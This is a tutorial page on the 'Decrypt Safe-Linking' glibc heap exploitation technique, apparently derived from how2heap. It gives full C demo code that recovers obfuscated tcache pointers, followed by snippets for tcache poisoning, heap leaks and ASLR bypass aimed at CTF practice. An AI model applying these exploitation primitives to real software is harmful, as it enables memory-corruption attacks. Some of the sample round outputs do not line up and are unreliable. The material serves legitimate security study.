Skip to main content

Overview

Decrypt Safe-Linking is a technique to recover the original pointer value from a safe-linked (XOR-obfuscated) pointer. It exploits the mathematical properties of the safe-linking mechanism, specifically that the first 12 bits of the plaintext are known due to heap alignment, and the XOR key is derived from the pointer itself.
Glibc Compatibility: Works on glibc 2.32+ where safe-linking was introduced.

What It Achieves

This technique allows you to:
  • Recover heap addresses from obfuscated tcache/fastbin pointers
  • Bypass information leak protections added by safe-linking
  • Enable subsequent attacks like tcache poisoning that require knowing actual addresses
  • Decrypt pointers without arbitrary read in many cases

The Mathematical Foundation

Safe-linking uses this protection:
stored_value = (next_ptr >> 12) ^ current_addr
The key insight is that:
  1. First 12 bits are known: Heap chunks are page-aligned, so the lowest 12 bits are predictable
  2. Key equals high bits of plaintext: The XOR key is current_addr, which shares the same ASLR slide as next_ptr
  3. Iterative recovery: We can decrypt bit-by-bit, using each recovered section to decrypt more
Let’s denote:
  • P = plaintext pointer (what we want)
  • K = key (the address where P is stored)
  • C = ciphertext (what we observe)
We have: C = (P >> 12) ^ KSince P and K share the same ASLR base (both heap addresses), their high bits are identical:
K[63:12] ≈ P[63:12]
Also, P[11:0] are known (page alignment). So:Round 1: Use known P[11:0] to get K[11:0] = P[11:0], decrypt C to get P[23:12]Round 2: Use P[23:12] to get K[23:12] = P[23:12], decrypt more of C to get P[35:24]Continue until full pointer is recovered.

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

long decrypt(long cipher)
{
	puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
	puts("because of the 12bit sliding.");
	puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
	long key = 0;
	long plain;

	for(int i=1; i<6; i++) {
		int bits = 64-12*i;
		if(bits < 0) bits = 0;
		plain = ((cipher ^ key) >> bits) << bits;
		key = plain >> 12;
		printf("round %d:\n", i);
		printf("key:    %#016lx\n", key);
		printf("plain:  %#016lx\n", plain);
		printf("cipher: %#016lx\n\n", cipher);
	}
	return plain;
}

int main()
{
	/*
	 * This technique demonstrates how to recover the original content from a poisoned
	 * value because of the safe-linking mechanism.
	 * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
	 * and the key (ASLR slide) is the same to the pointer's leading bits.
	 * As a result, as long as the chunk where the pointer is stored is at the same page
	 * of the pointer itself, the value of the pointer can be fully recovered.
	 * Otherwise, we can also recover the pointer with the page-offset between the storer
	 * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 
	 * For demonstrations of other more general cases, plz refer to 
	 * https://github.com/n132/Dec-Safe-Linking
	 */

	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	// step 1: allocate chunks
	long *a = malloc(0x20);
	long *b = malloc(0x20);
	printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
	malloc(0x10);
	puts("And then create a padding chunk to prevent consolidation.");


	// step 2: free chunks
	puts("Now free chunk a and then free chunk b.");
	free(a);
	free(b);
	printf("Now the freelist is: [%p -> %p]\n", b, a);
	printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);

	// step 3: recover the values
	puts("Now decrypt the poisoned value");
	long plaintext = decrypt(b[0]);

	printf("value: %p\n", a);
	printf("recovered value: %#lx\n", plaintext);
	assert(plaintext == (long)a);
}

Step-by-Step Walkthrough

1

Allocate and Free Chunks

Set up the scenario with two tcache chunks:
long *a = malloc(0x20);
long *b = malloc(0x20);
free(a);
free(b);
After freeing, b->next points to a, but it’s obfuscated:
b[0] = (a >> 12) ^ b
2

Read the Obfuscated Value

The value stored in b[0] is the ciphertext we need to decrypt:
long cipher = b[0];
printf("Obfuscated: %#lx\n", cipher);
3

Initialize Decryption

Start with what we know: the first 12 bits of the plaintext are 0 (page alignment):
long key = 0;  // Initial key estimate
long plain;
4

Iterative Recovery (Round 1)

Use the known 12 bits to recover the next 12 bits:
// Round 1: Recover bits [23:12]
int bits = 64 - 12*1;  // 52
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;  // Update key with recovered bits
5

Continue Iterations

Repeat for 5 rounds to fully recover the 64-bit pointer:
for(int i=1; i<6; i++) {
    int bits = 64-12*i;
    if(bits < 0) bits = 0;
    plain = ((cipher ^ key) >> bits) << bits;
    key = plain >> 12;
}
Each round recovers 12 more bits using previously recovered bits.
6

Verify Decryption

The final plaintext should equal the original pointer:
assert(plaintext == (long)a);
printf("Successfully recovered: %p\n", (void*)plaintext);

Example Decryption Output

First, we create chunk a @ 0x5555555592a0 and chunk b @ 0x5555555592d0
And then create a padding chunk to prevent consolidation.

Now free chunk a and then free chunk b.
Now the freelist is: [0x5555555592d0 -> 0x5555555592a0]
Due to safe-linking, the value actually stored at b[0] is: 0x55550000002a

Now decrypt the poisoned value
The decryption uses the fact that the first 12bit is known,
because of the 12bit sliding.

round 1:
key:    0x00000000002a
plain:  0x000000002a000
cipher: 0x55550000002a

round 2:
key:    0x0000002a000
plain:  0x00002a000000
cipher: 0x55550000002a

...

round 5:
key:    0x555555559
plain:  0x5555555592a0
cipher: 0x55550000002a

value: 0x5555555592a0
recovered value: 0x5555555592a0

When This Technique Works

Works perfectly when:
  • Both pointers (current and next) are on the same heap page
  • You have arbitrary read to access the obfuscated value
  • Both addresses share the same ASLR slide
  • Standard heap alignment (16 bytes on x64)
⚠️ Requires adaptation when:
  • Pointers are on different pages (need page offset)
  • The stored pointer is not a heap address
  • Non-standard alignment is used
  • Only partial read primitive available
For these cases, see n132’s Dec-Safe-Linking for generalized solutions.

Use Cases in Exploitation

1. Heap Address Leak

Recover heap base address without direct information disclosure:
// Read obfuscated pointer from freed chunk
long obfuscated = leaked_chunk[0];
long heap_addr = decrypt(obfuscated);
long heap_base = heap_addr & ~0xfff;

2. Enable Tcache Poisoning

Once you know real addresses, you can craft mangled pointers:
long real_target = decrypt(tcache_entry[0]);
long fake_mangled = (target >> 12) ^ current_addr;
victim[0] = fake_mangled;  // Poison the tcache

3. Bypass ASLR

Heap addresses can help calculate libc base:
long heap_addr = decrypt(obfuscated);
long libc_leak = *(long*)(heap_addr + offset);
long libc_base = libc_leak - known_offset;

Why This Is Advanced

Decrypt Safe-Linking is considered advanced because:
  1. Requires mathematical understanding: Must understand XOR properties and bit manipulation
  2. Iterative algorithm: Not a simple one-step calculation
  3. Context-dependent: Need to handle edge cases (different pages, etc.)
  4. Foundation for other attacks: Often a stepping stone to more complex exploits

Limitations

Important Limitations:
  • Requires arbitrary read primitive (or use-after-free read)
  • Assumes standard heap alignment
  • Best results when pointers are on the same page
  • Doesn’t work if the freelist is empty

Alternative Approaches

If decryption is not feasible, consider:
  • Safe-Link Double Protect: Bypass without needing to decrypt
  • Tcache Metadata Corruption: Attack the metadata structure directly
  • House of Water: Leakless exploitation approach

Safe-Link Double Protect

Learn about blind bypass techniques that don’t require decryption

Implementation Tips

// Robust decryption with error handling
long safe_decrypt(long cipher, long current_addr) {
    long key = current_addr & 0xfff;  // Start with known page offset
    long plain = 0;
    
    for(int i=1; i<6; i++) {
        int bits = 64 - 12*i;
        if(bits < 0) bits = 0;
        
        plain = ((cipher ^ key) >> bits) << bits;
        key = plain >> 12;
        
        // Verify alignment after final round
        if(i == 5 && (plain & 0xf) != 0) {
            printf("Warning: Decrypted pointer not aligned!\n");
            return 0;
        }
    }
    
    return plain;
}

CTF Applications

This technique has been useful in numerous modern CTF challenges:
  • Any challenge on glibc 2.32+ requiring heap leaks
  • Challenges with limited primitives (UAF read only)
  • Scenarios where you need to bypass safe-linking without arbitrary write
Ret2 Wargames: Practice this technique at Ret2 Wargames - Decrypt Safe-Linking

References

Build docs developers (and LLMs) love